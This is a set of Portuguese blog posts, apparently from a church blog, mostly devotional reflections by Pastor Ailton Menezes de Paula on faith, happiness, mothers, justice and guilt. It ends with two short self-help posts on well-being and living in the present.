           Desde cedo, percebi que não conseguimos fazer nada sem uma orientação segura; uma decisão tomada de improviso gera controvérsias e nos sentimos frustrados por errar, consertar, errar de novo, virando assim, um círculo vicioso.

          Busco, nesse propósito, firmar convicções, tornar claros os meus desafios, buscando respostas num ser que me conhece, que me ama, que me sonda, que me sustenta: Deus! A partir desse estágio, vivo com alegria, pois quando O consulto em oração, Ele me dá luz; quando busco conhecer sua vontade através da Bíblia Sagrada, Ele me responde; quando firmo a minha confiança em Suas respostas, adquiro estabilidade.

          Por tudo isso, sou feliz, vivo em paz, ando em novidade de vida, sigo a cada dia, olhando para o Autor e Consumador da minha fé, Jesus Cristo, o Justo!

Que Deus nos abençoe!
Pastor Ailton Menezes de Paula
Seguir A Canção, A Intuição ou O Coração?
Autor: ICEN | Publicado: 2012-05-03T12:14:00-03:00

Na década de setenta, uma música ganhou grande
repercussão na sociedade que, naquela época, vivia debaixo da ditadura militar. O refrão era o seguinte: "Caminhando e cantando e seguindo a
canção..." . O poeta e compositor Geraldo Vandré deu o título de: "Pra
não dizer que não falei das flores". O que estamos vivendo no presente
século é o fato de muitas pessoas precisarem de seguir alguém, ou algum ser
para poder ter sentido na sua vida. Busco entender por um prisma diferente: as
pessoas não apenas precisam, mas necessitam seguir algum ser que as oriente e
as leve a pastos verdejantes. Vivemos numa constante sequência de
acontecimentos que norteiam a vida. Desafios, problemas, falta de sentido,
inveja, ciúmes, contendas, conflitos e atritos permanentes.

Chego a ver a novidade que surge no coração quando
alguém é feliz, se demonstra feliz, ou nos passa uma ideia que de alguma forma
tem a felicidade em seu ser. Pessoas vão tentar explicar o porquê da
felicidade; céticos vão tentar ver uma dúvida na mente e dizer: "Será que
é feliz, mesmo?"; outros mais pessimistas vão expressar: "Sei, não! Isso não vai durar muito tempo!"; outros mais compassivos irão se
reconhecer como semelhantes, participantes da mesma alegria e irão entender que
felicidade é viver o dia a dia sem se preocupar com respostas para perguntas
que ninguém as fez.

Certa vez uma pessoa me disse que tinha conhecido
uma mulher que era vizinha da tia do jogador Kaká. Eu, imediatamente falei:
"Que coisa boa! Você deve ser muito feliz por conhecer alguém que é
vizinha da tia de Kaká! Logo, eu sou feliz também, pois sou amigo de alguém que
conhece a vizinha da tia de Kaká. Logo, os que estão lendo esse texto, são
felizes também, pois estão lendo um texto que foi escrito por alguém que é
amigo de uma senhora que é vizinha da tia do jogador Kaká. Todos nós somos
felizes, pois temos um Deus que permite pessoas lerem esse texto
escrito por mim que sou amigo de alguém que conhece a vizinha da tia de Kaká,
que por sinal é crente em Deus. Que coisa boa! Embora não tenha falado de flores,
falei de vida.

Que Deus nos abençoe!
Pastor Ailton Menezes de Paula
Mãe,  Mulher Especial!
Autor: ICEN | Publicado: 2012-05-11T22:19:00-03:00

         Dizer o que já sabemos sobre mãe, é mesmo que chover no molhado. Mas as mães precisam não apenas ouvir o que sentimos a respeito delas, mas expressar de uma forma pessoal e verdadeira. Quem nunca pensou na grande tristeza por não ter mais mãe, ou aquela mãe que querendo proteger seu filho, sem recursos e sem perspectivas de algo melhor, entregar seu filho para alguém, com mais condições financeiras, criar.

        Imagino que deve sofrer muito uma mãe que não tem o que dar ao seu filho quando o mesmo pede comida. Imaginamos como dever ser ter que cuidar de seu filho e ter que trabalhar oito horas por dia, ou estudar, ou fazer algum curso para progredir no trabalho;

         Quantas mães choram caladas, pensando no melhor para o seu filho, ou quantas mães gostariam de ter os seus filhos por perto, mas ao invés disso, choram por tê-los distantes e sem a oportunidade de dizer o quanto os ama.

          Por tudo isso, louvamos as mães, e pedimos que Deus as abençoe grandemente, e lhes dê tudo de bom.

Que Deus nos abençoe e fortaleça o coração de cada mãe!
Pastor Ailton Menezes de Paula
Justiça a todo custo, ou Justiça sem nenhum custo?
Autor: ICEN | Publicado: 2012-07-08T23:24:00-03:00

           Muitos falam
em justiça: justiça social, justiça trabalhista, justiça nos relacionamentos,
etc. Mas a justiça é muito mais do que equilíbrio entre as partes, é finalidade
de objetivo conceitual, isto é, justiça é a mão que se estende para amparar os
desafortunados e a intervenção que paralisa a degradação da espécie.

Para que
tenhamos certeza do que fazemos, o ser justo acontece nas coisas simples e não
intervém de qualquer forma, ele busca o consolo, a felicidade e a paz no
coração. Quem nunca passou por injustiça não consegue entender bem o que
significa a palavra justiça, nem muito menos a prática de uma vida justa.

Quando olhamos
para o exemplo de Jesus, entendemos o que se passou no seu coração quando,
fazendo-se amigo, foi rejeitado pelos Seus; quando fazia o bem, era expulso de
perto dos homens; quando aconselhava para a vida, muitos desprezavam suas
palavras; e, quando manifestava graça aos homens, estes chegavam a blasfemar
contra Ele.

O que podemos
dizer sobre justiça senão o que Cristo operou na cruz do calvário? O que
podemos pensar sobre uma justificação senão o que Ele realizou em nosso lugar,
nos aceitando, nos amando e nos perdoando?

O mal que
estava presente em nós impossibilitava que víssemos como a grande misericórdia
de Deus nos livrou da morte e nos deu vida plena em Cristo. O bem que está em
Seu coração nos favorece e revela o Seu brilhante plano de resgatar a humanidade
a partir do sacrifício do Seu filho.

Entendemos
justiça quando dizemos “sim” a Jesus. Compreendemos Justificação quando
recebemos o Seu perdão, e assimilamos restauração quando entregamo-nos a Ele
com todo o nosso ser e somos aceitos na família de Deus por meio da
ressurreição de Jesus ao terceiro dia.

Pr. Ailton Menezes de Paula

Palavra ministrada no dia 01/07/12
Gosto Não Se Discute
Autor: ICEN | Publicado: 2012-05-10T17:23:00-03:00

         Apesar de sempre ouvirmos que gosto não se discute, há situações e circunstâncias que o senso comum elege como prioridade alguns procedimentos corretos:
a) ajudar o próximo;
b) ouvir o outro;
c) ser sincero e atencioso;
d) viver com alegria; e,
e) não julgar ninguém.

          Bom, isso é aceito pela maioria por que são estes elementos que qualificam o ser humano, não uma forma isolada, mas quem escolhe seguir esse caminho está com aprovação em alta.

       Quero tratar neste momento de ações que mudam vidas, tornam nobres os ideais, fortalecem a amizade, proporcionam harmonia, e , solidificam relacionamentos.

        Quero falar sobre pessoas que fazem diferença quando estão conosco e que, em plena evidência, cooperaram para que a estabilidade emocional e a sabedoria se apresentassem como naturais antibióticos dos males do mundo.

       Quero expressar uma posição pessoal sobre as pessoas que amamos, que estão conosco nos momentos difíceis, que emanam vida, que alegram o ambiente, que vagueiam por entre o nosso coração e pintam de um colorido a nossa alma.

          Quero reconhecer os que fizeram parte de nossa história, que abrilhantaram o palco da nossa vida, que entraram em cena quando eramos tingidos de cinza, e somaram e nos elevaram ao expoente máximo com suas doses de bom humor, com seus repertórios de motivação e cheios de sinceridade, fortaleceram o nosso caminho.

         Obrigado àqueles que existem para ser bênçãos em Nós. E num tempo de escassez, vocês ainda continuam a nos trazer boas recordações. Grande abraço a todos os meus amigos, conhecidos, vizinhos, colegas, familiares e cooperadores que percorreram o caminho comigo em algum momento da minha existência.

Que Deus abençoe vocês!
Pastor Ailton Menezes de Paula
Chore enquanto pode...
Autor: ICEN | Publicado: 2012-04-17T18:32:00-03:00

Dizem os especialistas em comportamento humano que o extrovertido é um tímido revoltado.Ou que quem  é muito alegre esconde dentro de si uma tristeza que corrói a alma.Talvez faça algum sentido se olharmos por um ângulo depressivo ou com um olhar pessimista.Bom, o que eu quero falar nestas linhas é que não existe uma só pessoa que não passa por momentos de tristezas ou quem nunca deu uma gostosa gargalhada com ou sem motivos.A vida é feita dessas contradições; ora estamos alegres, ora nos recolhemos dentro de nós mesmos e sofremos calados.Agora, o que mais me impressiona na vida é o fato da gente estar triste e querer expressar alegria; ou quando estamos com dificuldades querer apresentar que estamos bem. O nosso coração chora. A nossa dor se eleva. O nosso pranto fica insuportável, e nem sequer conseguimos esconder dos outros.Quem somos nós quando ninguém está olhando? o que somos, realmente, quando estamos com outros? quem está, de fato, preocupado, conosco? Essas perguntas só tem uma resposta possível: DEUS.Para os incrédulos - não existe Deus!Para os medrosos - não há ninguém que me defenda!Para os indecisos - não sei se faço algo, ou se desisto de fazer!Para os que creem - Deus é quem nos sustenta. Deus é quem está ao nosso lado. Deus é quem nos revigora a fé. Deus é que nos diz :"coragem"! Deus é quem nos fala ao ouvido! Deus é quem nos trata com justiça. Deus é quem nos coloca em seus braços e nos protege.Que Deus nos abençoe!Pastor Ailton Menezes de Paula
A Vivência Da Culpa
Autor: ICEN | Publicado: 2012-05-20T08:15:00-03:00

       Quanto mais se fala em conquista da liberdade do ser humano mais se contabiliza devaneios e sentimentos irreais a cerca da realidade. Percebe-se que ao entrar em contato com as relações sociais, o homem se prende a situações que limitam o seu viver e sua conduta passa a ser podada por elementos que ele mesmo não conhece. Isto se dá na abrangência de se fazer algo, ou de se viver pensando na possibilidade de ser feliz, sem conseguir, contudo, se desvencilhar da culpa que o acompanha por toda a vida.

         A culpa é o estágio mais avançado em que o homem não sabe lidar com a sua existência. Ele pede desculpas por qualquer coisa, e se faz algo nunca está satisfeito com o que realiza. Na verdade, todas as pessoas lidam com esse processo na alma e que se não for bem compreendido poderá influenciar na conduta gerando um sentimento de imperfeição e de dívida  a ser cumprida.

          A culpa gera um estado de incertezas e frustrações. Quem melhor lida com esse problema é a pessoa que se compreende como parte natural da humanidade caída e sem relacionamento com Deus. Enfrentar esse dilema que aprisiona o homem, criando, assim, um mero esforço de ser feliz, ou fazer algo bem feito, quando a sua alma está doente e sem perspectiva de cura.

        Só existe uma possibilidade real de se livrar dos efeitos da culpa, a transformação de vida operada pela Palavra de Deus. Quando o Evangelho da Graça entra em contato com o coração do homem, ele o liberta e dá uma nova condição de existência. Acontece de forma gradual, o homem sabendo o que ocorreu com ele no início da vida; perpassa todo o seu ser influenciando seus pensamentos de forma harmônica com uma nova vida gerada pelo Espírito Santo; desenvolve-se e intensifica um estado de completa realização pessoal, levando-o a viver a vida que Cristo ensinou e a partir daí, experimenta-se a vida celestial.

        Somente assim, o ser humano consegue se libertar da culpa que faz com que ele não exerça todo o seu potencial. Sabendo, também, que se ele não exercê-lo, não será a culpa que dirá que ele consegue ou não consegue, pois ele fará, simplesmente, da forma que aprendeu a fazer, sem culpa e sem medo de errar.

Que Deus nos abençoe!
Pastor Ailton Menezes de Paula
Autor: cRys | Publicado: 2011-03-28T19:58:00-07:00

A importância de se sentir bem!

Vou perguntar logo de cara: quem não quer se sentir bem?Tudo que fazemos em nossas vidas é baseado em nossa busca incansável de experimentar e vivenciar emoções.Não há forma de negar que somos feitos de emoções, tudo que escolhemos fazer é para poder experimentá-las em suas diferente formas.É da natureza do ser humano sempre procurar se sentir melhor.Por isso é tão importante se conhecer e aprender sobre si mesmo e sobre as coisas que você sente.Porque é dentro de você que as coisas acontecem, então se você não se conhece muito, acaba entendendo pouco sobre seus sentimentos e isso é algo que afeta nossas vidas diariamente…Quem nunca sofreu por amor? Quem nunca se sentiu vazio realizando algo que não gosta? Quem nunca tomou uma atitude ‘às cegas’ e se arrependeu depois? rsO primeiro passo é aceitar o momento e a realidade que você está vivendo… pois como podemos mudar algo que não aceitamos? É impossível e massante.Quanto mais honesto você for com a imagem que você enxerga no espelho, maior será sua sensibilidade (“intuição”, “feeling”) e sua inteligência emocional (capacidade de lidar com o que sente).E isso é importantíssimo para o seu sonho! É um dos primeiros passos! E sim, é possível sim chegar aonde você quer… é apenas uma questão de ponto de vista, você só precisa alimentar o ponto de vista certo! rsE então… acho que é hora de começar a se conhecer você não acha?
Autor: cRys | Publicado: 2011-03-28T19:55:00-07:00

O bem estar mora no momento presente!

Como foi o seu “ontem”?
Foi mais um dia como qualquer outro ou realmente valeu a pena vivê-lo?
Mas o que é preciso fazer para que meu dia possa valer a pena?Algumas dicas que farão toda a diferença, é só colocar algumas dessas coisas em prática:- Presenteie alguém que você goste em uma data qualquer, e não necessariamente em seu aniversário ou encontro social, seja espontâneo e sincero;- Ofereça ajuda sem ser solicitado, pode ser para o seu colega de trabalho, pode ser em casa, ou até mesmo para um estranho na rua que você sinta que precisa de ajuda para carregar uma sacola de compras que esteja pesada: seja solidário e prestativo, isso traz um bem estar enorme;Viva o presente com intensidade! =)Mesmo que esteja em casa sem nada pra fazer, por que não assistir a um bom filme e comer aquilo que mais gosta? Por que você não vai ler um bom livro? tomar um sol? Existem infinitas possibilidades de você se sentir bem, dê espaço e liberdade pra estar bem primeiramente consigo mesmo! Isso lhe trará clareza e organização em sua vida e é só um exemplo de como fazer o seu dia valer a pena.
Viu como é simples! Algo muito simples que você faça, acredite, lhe trará uma sensação de conforto e motivação enorme.
O bem estar é baseado em coisas simples do nosso dia a dia! e a felicidade é uma somatória de todos eles!O que você conquistará no dia de hoje?Será mais um dia como qualquer outro ou realmente valerá a pena vivê-lo?